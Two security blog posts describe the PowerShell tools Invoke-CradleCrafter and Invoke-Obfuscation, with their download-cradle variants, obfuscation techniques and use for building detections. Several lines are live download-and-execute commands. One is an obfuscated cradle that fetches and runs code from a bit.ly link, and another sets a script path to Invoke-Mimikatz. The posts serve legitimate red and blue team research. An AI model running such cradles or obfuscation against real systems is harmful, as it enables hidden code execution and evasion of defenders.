The Invoke-CradleCrafter Overview

Invoke-CradleCrafter is a remote download cradle generator and obfuscation framework that was originally born out of a handful of obfuscation techniques I presented in my initial PowerShell obfuscation research but did not include in the Invoke-Obfuscation framework for numerous design decisions. However, outside of a single invocation function the two projects do not share any overlapping obfuscation techniques and differ quite dramatically in form and function.

That being said, there remains a bit of confusion around these distinctions and the numerous features and design decisions that drove the development of Invoke-CradleCrafter. In this post I will highlight these design decisions, the differences between the two frameworks, and the unique role for which I built Invoke-CradleCrafter for both Red and Blue Team purposes.

Released in April 2017, Invoke-CradleCrafter started as a notebook containing obscure syntaxes to remotely download and execute code aside from the most common syntax: IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/L3g1t'). These examples included techniques as impractical as using SendKeys to automate payload downloads via notepad.exe all the way to more practical examples like COM interactions with Internet Explorer -- both means of pawning off the network connection for the download onto a native binary that is not the originating powershell.exe process.

This list also included numerous cradles relying on cmdlets introduced in PowerShell 3.0 (Invoke-WebRequest/IWR/CURL/WGET and Invoke-RestMethod/IRM) which at the time I had only seen used in the wild once or twice. While most attackers prefer to use (and re-use) tradecraft that is PowerShell 2.0+ compatible, these v3.0 cmdlets have a distinct advantage of being compatible in Constrained Language Mode (CLM) -- an advantage the v2.0 .Net-centric cmdlets do not have.

After realizing this list of cradles was long enough to consider building it out into something more user-friendly, I stumbled onto Will Schroeder's (@harmj0y) DownloadCradles.ps1 which contained several of the cradles in my list. This got me thinking about some of the ways I wanted to build out what would become Invoke-CradleCrafter to allow for Red and Blue to easily explore these and many more PowerShell download cradles while having a fully automatable tool that could be used to generate thousands of unique cradle examples for defenders to build into a corpus to use for building and tuning detections.

The design decisions that drove Invoke-CradleCrafter's development are as follows:

  1. I wanted an interactive framework that would be a "living library" of obscure PowerShell download cradles. From a user's perspective, I wanted a tool that would only require (at a minimum) the user to enter a remote URI where a payload is hosted and then be able to "plug" that URI into each cradle type and see what each cradle would look like. It was important to me to compile these obscure cradles into a single place to improve my own detections against the lesser known cradles especially when no obvious obfuscation is in play.
  2. During my time as an incident responder I have learned from my colleagues about numerous forensic artifacts and behavioral anomalies that I frequently go to when building detections for new techniques found throughout the course of research. Recognizing that the scale and scope of this exposure is rather unique, I wanted to share many of these behaviors and artifacts to provide helpful context for both Red and Blue Teamers surrounding each cradle, like compatibility, characterisitics, footprint on disk, behaviors, artifacts, etc. This design requirement was built in from the beginning to help educate users about the opportunities both to evade and more importantly to detect each of these cradle types at the behavioral level instead of (or in addition to) the syntax level. An example is shown below of the contextual information provided for the most common Net.WebClient DownloadString method cradle including helpful image load indicators (rasman.dll and rasapi32.dll) as well as artifacts where these indicators can be found on disk (PowerShell prefetch file and Tracing registry keys). In this case image load events could also be found in EID 7 events if Sysmon is installed. A more verbose example of this contextual information can be found for cradles that compile inline CSharp code as they produce additional CSharp artifacts on disk (.cs and .cmdline temporary files) and in registry (binary immediate ordering in AppCompat Cache) related to the compilation and execution of CSharp code via csc.exe and cvtres.exe. Finally, several of the cradles I included involve PowerShell leveraging additional native Windows binaries to perform network connections on its behalf, such as svchost.exe, bitsadmin.exe, iexplore.exe, winword.exe, excel.exe, and starting today in a new addition to the framework -- CERTUTIL.EXE for both Memory- and Disk-based cradles (bringing the total unique cradle count in this project up to legal limit of 21)! In addition to simple binary renaming attacks, it is important to eduate the defensive community about additional native binaries that can be easily used by PowerShell (and even standalone) to download content so that defenders do not overfocus detection efforts solely on powershell.exe making network connections.
  3. I wanted an outlet for automating and exploring several categories of obfuscation that were not feasible to include in Invoke-Obfuscation. This served to tremendously challenge and ultimately improve my current detection techniques for obfuscated PowerShell code in general as this framework allowed me to easily generate thousands of unique cradles as I added each obfuscation option to the tool. The obfuscation options used in Invoke-Obfuscation are slightly limited in that they had to work for any arbitrary input command or script. What that means is that Invoke-Obfuscation only obfuscates based on the command/script as whole (in the case of STRING and ENCODING obfuscation options) or on each given TOKEN of the payload and only in syntactical ways of representing that exact token. Since Invoke-CradleCrafter does NOT take arbitrary PowerShell commands or scripts but rather a few pieces of information -- URL, PostCradleCommand (optional), and Path (optional, only for disk-based cradles) -- it enabled me to completely control the overall context of each cradle syntax and its numerous components. This allowed me to build out four different categories of obfuscation, something that was not feasible in Invoke-Obfuscation: Method Substitution (i.e. .DownloadString vs .DownloadData), Spatial Obfuscation (the ordering/arrangement of the overall command), Substitution Obfuscation (for cmdlets, methods, arguments, properties, booleans, etc.), and Invocation Obfuscation (11+ ways to invoke downloaded code).
  4. Method Substitution -- The most basic example of this is the DownloadString method used in the most common download cradle. This is only one of the many methods found in the Net.WebClient .Net class. This particular method is likely the most commonly used by attackers since it returns the downloaded resource as a string residing in memory as opposed to the DownloadFile method which downloads the remote resource to disk. However, other methods in this class can also download payloads to memory in different formats like DownloadData (byte array) and OpenRead (byte stream). It was not feasible to have Invoke-Obfuscation substitute DownloadString with these methods as additional wrapper commands must be added to convert the byte array or byte stream into a string to produce the original payload. However, in Invoke-CradleCrafter I list each of these methods as separate cradles and the additional conversion logic is automatically added where necessary for each cradle. No more needing to remember all the different ways to convert byte streams into a string -- Invoke-CradleCrafter handles all of that for me :)
  5. Spatial Obfuscation -- An additional contextual opportunity that I baked into Invoke-CradleCrafter is that of spatial obfuscation. Basically, attackers often use consistent one-liner PowerShell cradles. But there is nothing stopping one from chopping up the components of the cradle into smaller pieces and storing them into variables and swapping the order of these components where compatible. All of this and much more takes place in several layers of randomization in the REARRANGE options available in each cradle type. Higher levels of obfuscation include not only crazier orderings of sub-commands, but also randomly-named variables as well as more obscure cmdlets to set and get variable values. Obfuscation levels 2 and 3 can differ significantly as you can see in this level 2 rearrangement (MEMORY\PSWEBSTRING\REARRANGE\2)... ...versus this level 3 rearrangement (MEMORY\PSWEBSTRING\REARRANGE\3):
  6. Substitution Obfuscation -- One of my favorite obfuscation techniques in Invoke-CradleCrafter is substitution obfuscation. Now some of this obfuscation could have been added into Invoke-Obfuscation, but there would have been numerous fringe cases to handle. Fearing it would adversely affect the reliability of Invoke-Obfuscation, I left these techniques as extra pages in my research notebook until I started developing Invoke-CradleCrafter. Even though this substitution obfuscation applies primarily to cmdlets, methods and arguments in this framework, for a simple example let's look at the DownloadString method one more time. In Invoke-Obfuscation this could be obfuscated with tick marks "Do`Wn`load`Stri`Ng", concatenation ('Down'+'load'+'String'), or reordering ("{1}{0}{2}"-f'load','Down','String'). In Invoke-CradleCrafter we can produce the string "DownloadString" via enumeration of the methods found in an instantiation of the Net.WebClient object. So if we set this object like $wc=(New-Object Net.WebClient) then we can enumerate all methods using either .PsObject.Methods or piping the object into Get-Member. If we choose the first option of .PsObject.Methods then "DownloadString" can be produced (manually) like ($wc.PsObject.Methods | where-object { $_.Value.Name -like 'DownloadString' }).Name. Invoke-CradleCrafter will add random obfuscation to each component of the above command to produce something more like (((($wc).PsObject.Methods)|?{(Item Variable:_).Value.Name-clike'D*g'}).Name) where 'D*g' will match and return the string "DownloadString" and no other method. All of the elements involved in this syntax are randomly selected for each iteration along with the wildcard strings to search and find the desired method name. Cmdlet obfuscation relies on wildcard strings to return the desired cmdlet object using a form of the Get-Command cmdlet (.(GCM N*ct)) or PowerShell 1.0 syntax using the $ExecutionContext automatic variable (&$ExecutionContext.(($ExecutionContext|Member)[6].Name).GetCmdlets('N*ct')). There are numerous nuanced layers for each of these substitution types, so the best way to explore these options is just to run the tool and see for yourself!
  7. Invocation Obfuscation -- Invoke-Obfuscation semi-dabbled in invocation obfsucation in its use of basic concatenation of 'iex' to invoke the common alias of the Invoke-Expression cmdlet. In Invoke-CradleCrafter I fully built out this concatenation obfuscation for IEX and added some new data sources like enumerating string methods: .( ([String]''.Insert)[14,10,27]-Join''). In addition, Invoke-CradleCrafter contains 11+ ways to invoke downloaded code using Get-Alias, Get-Command, numerous PowerShell 1.0 options, script block conversions and the .Invoke method, PSRunspace creation and invocation, PowerShell 3.0's Invoke-AsWorkflow cmdlet, and dot-sourcing and Import-Module for disk-based cradles.
  8. Precision of obfuscation was a HUGE design decision throughout the development of Invoke-CradleCrafter. When using Invoke-Obfuscation so much of the obfuscation is randomized behind the scenes. So even when I know that a particular obfuscation pattern is possible in Invoke-Obfuscation I have to run,undo,rerun again and again until that obfuscation syntax emerges. In Invoke-CradleCrafter I wanted to be able to pinpoint each obfuscation iteration so that I could more easily iterate through the obfuscation syntaxes of each component one at a time instead of all of them mixed together (i.e. obfuscating one method at a time versus ALL methods at once as in Invoke-Obfuscation). For larger cradles like PsComIE (PowerShell + COM object for Internet Explorer) you can see that there are numerous cmdlets, properties and even boolean values that can be obfuscated one at a time (or all together using the ALL option).
  9. Finally, as you may have noticed in the previous screenshots in order to see what parts of the command have changed upon the application of each obfuscation option I used color coding. Each changed portion of the command is yellow while the user-input portions of the command (URL, and optional PostCradleCommand and Path) remain blue so one can easily see what portions of the command are input directly by the user. I spent insanely too much time on the tagging required to make this color-coding function properly, but it was worth it in my opinion to help visualize the portions of the command changing before your eyes as various obfsucation levels and syntaxes are substituted into the original command at each stage of obfuscation. This color-coding feature easily makes Invoke-CradleCrafter my favorite personal development project so far in terms of visualization.

And for the users who have complained to me that Invoke-CradleCrafter is not useful since the URL in the final payload is still not obfuscated, my reply is that Invoke-CradleCrafter was never intended to replace the obfuscation found in Invoke-Obfuscation. Invoke-CradleCrafter supports the exact same CLI functionality that Invoke-Obfsucation does, so when I use Invoke-CradleCrafter I often just pipe the result directly into Invoke-Obfuscation and chain the two projects and corresponding results together. In addition, Invoke-CradleCrafter only ever produces PowerShell code, so if you want to add a launcher then I recommend piping the result into Invoke-Obfuscation to apply the desired launcher.

Hopefully this overview was helpful if you have never used Invoke-CradleCrafter before or if you had questions about what gap it was intended to fill in light of Invoke-Obfuscation. And for my fellow defenders out there, using the CLI and RegEx functionality with command chaining found in both Invoke-Obfuscation and Invoke-CradleCrafter makes the task of producing thousands of randomly obfuscated examples for detection development insanely simple. This is exactly what Lee Holmes (@Lee_Holmes) and I did when producing obfuscated samples for the PowerShell corpus we assembled for the Revoke-Obfuscation research. In April 2018 I will be sharing more of my methodology around this kind of enumeration for developing and tuning detections so stay tuned!

To download a one-page cheat sheet of my favorite Invoke-CradleCrafter "recipes" then you can run the following obfuscated PowerShell command: gdr -*;Set-Variable 5 (&(Get-Item Variable:/E*t).Value.InvokeCommand.(((Get-Item Variable:/E*t).Value.InvokeCommand|Get-Member|?{(DIR Variable:/_).Value.Name-ilike'*ts'}).Name).Invoke('*w-*ct')Net.WebClient);Set-Variable S 'http://bit.ly/e0Mw9w'; (Get-Item Variable:/E*t).Value.InvokeCommand.InvokeScript((GCI Variable:5).Value.((((GCI Variable:5).Value|Get-Member)|?{(DIR Variable:/_).Value.Name-ilike'*wn*g'}).Name).Invoke((GV S -ValueO)))

Happy (responsible) obfuscating!

The Invoke-Obfuscation Usage Guide :: Part 1

It has been just over a year since I released Invoke-Obfuscation and it has led to an exciting year of sharing this obfuscation, evasion and detection research with anybody who will listen. It has been fascinating to see how Red Teamers, commodity malware authors and advanced threat actors like APT32 have used this framework in their various campaigns. Most satisfying, though, is detecting this obfuscation in the wild and talking with other defenders who have used Invoke-Obfuscation to build out and refine their own detection techniques for catching obfuscated PowerShell.

From time to time I myself am tasked to assist a Red Team engagement by crafting custom, obfuscated PowerShell payloads using Invoke-Obfuscation. When this happens I often get questions about why I chose certain obfuscation options or was so particular about applying a certain ordering of options to the payload. I also realized that there are several lesser-known components of Invoke-Obfuscation that I have not drawn attention to in any one place...until now.

This series of posts is intended to inform users about several lesser-known features in Invoke-Obfuscation as well as the HOW and WHY behind my thinking about obfuscating commands and scripts with Invoke-Obfuscation. And it all begins with a brief timeline of updates to the framework (which are listed in the project's README file under "Release Notes") and why I added them.

PART A :: Timeline of Invoke-Obfuscation's Evolution

I released Invoke-Obfuscation on 2016-09-25 at DerbyCon 6 (video). At the time it included concatenation obfuscation for TOKEN obfuscation, five ENCODING options and six LAUNCHER options. Two weeks later I added -f format operator reordering obfuscation for all applicable TOKEN options (check out this post for the reasoning behind this addition), and over the next month I added one ENCODING option and two more LAUNCHER options.

On 2017-01-24 I released version v1.6 by adding command option chaining, enabling full regular expression usage in command options, adding an UNDO command (easily my favorite addition to the framework!), and providing full framework interaction via CLI (mainly from chronic begging of several Red Teamers, but joke's on them because this feature made defenders' test harness payload generation 100 times simpler). Since then I added four more LAUNCHERS and two more ENCODING options, in addition to numerous bug fixes -- mostly thanks to Ryan Cobb (@cobbr_io) who is now an official maintainer of the project.

PART B :: Lesser-Known Features of Invoke-Obfuscation

Numerous times I have had people tweet or DM me thanking me for adding a "new feature" to Invoke-Obfuscation. In reality many were present from version 1.0, but a few have been added since the framework's inception.

Here is a list of Invoke-Obfuscation functions that hopefully others will find interesting and helpful in their ethical, legal and approved-with-express-written-consent usage of obfuscation:

  1. Invoke-Obfuscation can obfuscate PowerShell commands AND scripts. More than a few Red Teamers have pinged me thanking me for adding script obfuscation to the latest version of the framework. Yes, it has been present since the very beginning, but who am I to rain on their new discovery? Godspeed!
  2. SET SCRIPTPATH will also accept a URL to a PowerShell command or script so you can obfuscate the latest version of whatever remotely-hosted script you want, like Invoke-Mimikatz (SET SCRIPTPATH https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) or the latest PowerShell logging bypass from @Lee_Homes: (SET SCRIPTPATH http://bit.ly/e0Mw9w). This feature is outlined in the framework's tutorial which can be viewed by running TUTORIAL: When a URL is entered as the ScriptPath value then the URL will be displayed in the ScriptPath field and the ScriptBlock field will show the downloaded command or script content.
  3. On the topic of input options, you can enter a ScriptBlock value containing basic EncodedCommand syntax (like that produced as one-liners from popular frameworks like Empire and Cobalt Strike) and Invoke-Obfuscation will extract and decode the encoded command and set the decoded payload as the ScriptBlock. For example:
    SET SCRIPTBLOCK powershell -enc VwByAGkAdABlAC0ASABvAHMAdAAgACcAWQBvAHUAIABjAGEAbgAgAHUAcwBlACAAYgBhAHMAaQBjACAALQBlAG4AYwAgAEUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgAHMAeQBuAHQAYQB4ACAAdwBpAHQAaABvAHUAdAAgAGEAbgB5ACAAbwB0AGgAZQByACAAZQB4AGUAYwB1AHQAaQBvAG4AIABhAHIAZwB1AG0AZQBuAHQAcwAgAGEAcwAgAGkAbgBwAHUAdAAgAGYAbwByACAAUwBjAHIAaQBwAHQAQgBsAG8AYwBrACAAdgBhAGwAdQBlACAAaQBuACAASQBuAHYAbwBrAGUALQBPAGIAZgB1AHMAYwBhAHQAaQBvAG4ALgAnACAALQBmACAAZwByAGUAZQBuAA==
  4. UNDO -- this is BY FAR my favorite addition to the framework. There is nothing more frustrating than walking through 10 obfuscation steps in a precise order only to have the very last obfuscation option bump the command over the 8,191 character limit for the command line. Now you can just enter UNDO as many times as you need to keep applying that obfuscation until it produces a result within the desired command length range.
  5. In version 1.6 (2017-01-24) I added the Process Argument Tree display whenever a LAUNCHER option is applied. This is particularly helpful for defenders to see additional detection opportunities outside of the final powershell.exe process execution. However, it is equally important for a Red Teamer to know what data is hitting the command line and in which process argument fields, as this should dictate heavily which LAUNCHER option is used (if any is used at all depending on what one is trying to evade). Below is an example of LAUNCHER\STDIN++\234:
  6. Another addition in version 1.6 was introducing CLI to enable non-interactive usage of the framework without needing to call all of the exposed underlying functions (the original intent behind exposing the ExecutionCommands values in the SHOW OPTIONS menu). This CLI addition also included numerous additions for both interactive and non-interactive usage of Invoke-Obfuscation. One feature included in the CLI update is Invoke-Obfuscation's support of full-blown RegEx in obfuscation option commands, like ENCODING\* or LAUNCHER\.*[+]{2} which greatly simplified and removed the need to update my testing harness after adding new obfuscation options to the framework.
  7. The CLI update also added auto-HOME/auto-MAIN functionality for command options. This means that if you are in TOKEN\ALL and want to add a random LAUNCHER, you do not have to first enter HOME or MAIN or repeatedly enter BACK until you arrive at the main menu. Instead, from any menu you can run LAUNCHER or LAUNCHER\*\234 and it will automatically route you to that menu. The ONLY exception to this is if you are in TOKEN and enter STRING then it will take you to TOKEN\STRING instead of the home menu's STRING. Joke's on me for not keeping all of the menu options unique.
  8. Lastly, CLI introduced command chaining in both interactive and non-interactive usage. When I am obfuscating payloads I RARELY use TOKEN\ALL\1 but instead obfuscate on particular tokens and in very particular orderings and layerings. With command chaining I can save off these "recipes" and share them with other Red Teamers trying to accomplish the same obfuscation goals. I will cover the particulars of this command chaining ordering in the next blog post, so for now let's focus on the chaining functionality regardless of what options or orderings are used. For non-interactive/CLI usage this chaining looks like: Invoke-Obfuscation -ScriptBlock {Write-Host 'CLI FTW!'} -Command 'Token\All\1,Encoding\1,Launcher\Stdin++\234,Clip' -Quiet -NoExit. However, my favorite use case for command chaining (after using it to store off obfuscation "recipes") is for undoing and re-applying obfuscation options until a certain command length is produced or a desired obfuscation syntax is applied (more on this last point in the next blog post in this series). So if I have a long PowerShell command to which I've already applied TOKEN\ALL\1 and I want to apply an ENCODING option but the result exceeds 8,191 characters (and I do not know which ENCODING options create the least command length bloat), then command chaining is a life saver. After applying TOKEN\ALL\1,ENCODING\* then I can keep running UNDO,* or UNDO,ENCODING\1 until it produces a result that is less than 8,191 characters in length.

NOTE: If running Invoke-Obfuscation on PowerShell for Linux or OS X then the back slashes might not be interpreted correctly, so change all back slashes to commas in above command chaining examples.

This wraps up Part 1 of this series on Invoke-Obfuscation usage. Hopefully you found some of the framework's history and lesser-known functionalities interesting. In the next post I will cover how I approach using Invoke-Obfuscation in various situations including obfuscation ordering, command option chaining for coaxing out particular obfuscation options, when (and how often) I use token-layer obfuscation options, and when I use (and more importantly do not use) LAUNCHER obfuscation. Stay tuned!